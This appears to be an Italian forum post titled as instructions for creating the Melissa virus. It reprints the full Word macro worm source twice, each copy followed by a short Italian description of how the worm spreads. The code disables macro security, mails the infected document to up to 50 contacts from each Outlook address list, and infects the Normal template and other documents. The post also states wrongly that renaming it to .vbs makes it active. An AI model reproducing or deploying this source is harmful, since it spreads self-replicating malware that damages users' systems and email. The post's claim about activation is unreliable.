Questo virus è costruito in visual basic script. Per renderlo attivo, la sua rinominazione deve essere in .vbs .SPOILER (clicca per visualizzare)Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity","Level")<>""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "... by Kwyjibo" ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " & Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.LogoffEnd IfSystem.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL = NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name <> "Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name <> "Melissa" ThenIf NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT <> True And DoAD <> True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1) = ""ADI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")Do While ADI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) = ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")Do While NTI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) ThenActiveDocument.Saved = TrueEnd If'WORD/Melissa written by Kwyjibo'Works in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."End Sub------------------------------------------------Melissa è in grado di infettare file di Microsoft Word, e di autoinviarsi per posta elettronica tramite il client Outlook Express. Viene spedito in un file chiamato list.doc, contenente le password per accedere ad alcuni siti pornografici. Quando il file viene aperto, il virus modifica i documenti della vittima inserendovi frasi tratte dalla serie TV I Simpson. Inoltre è in grado di trasmettere informazioni personali verso l'esterno senza che l'utente se ne accorga. Melissa viene attivato quando si apre il file infetto list.doc, il quale svolge due azioni:* Diffusione: una volta che il virus si è installato nel sistema, avendo libero accesso alla rubrica, spedisce il documento infetto ai primi 50 contatti.* Infezione: il suo scopo è quello di disabilitare le difese da macro e, se l'utente scrive file Word in un giorno la cui data è uguale a quello dell'ora in cui è avvenuta l'infezione, il virus lo modifica scrivendoci: «Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here».
Virus:Melissa cm si crea
Questo virus è costruito in visual basic script. Per renderlo attivo, la sua rinominazione deve essere in .vbs .SPOILER (clicca per visualizzare)Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity","Level")<>""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "... by Kwyjibo" ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " & Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.LogoffEnd IfSystem.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL = NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name <> "Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name <> "Melissa" ThenIf NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT <> True And DoAD <> True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1) = ""ADI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")Do While ADI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) = ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")Do While NTI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) ThenActiveDocument.Saved = TrueEnd If'WORD/Melissa written by Kwyjibo'Works in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."End Sub------------------------------------------------Melissa è in grado di infettare file di Microsoft Word, e di autoinviarsi per posta elettronica tramite il client Outlook Express. Viene spedito in un file chiamato list.doc, contenente le password per accedere ad alcuni siti pornografici. Quando il file viene aperto, il virus modifica i documenti della vittima inserendovi frasi tratte dalla serie TV I Simpson. Inoltre è in grado di trasmettere informazioni personali verso l'esterno senza che l'utente se ne accorga. Melissa viene attivato quando si apre il file infetto list.doc, il quale svolge due azioni:* Diffusione: una volta che il virus si è installato nel sistema, avendo libero accesso alla rubrica, spedisce il documento infetto ai primi 50 contatti.* Infezione: il suo scopo è quello di disabilitare le difese da macro e, se l'utente scrive file Word in un giorno la cui data è uguale a quello dell'ora in cui è avvenuta l'infezione, il virus lo modifica scrivendoci: «Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here».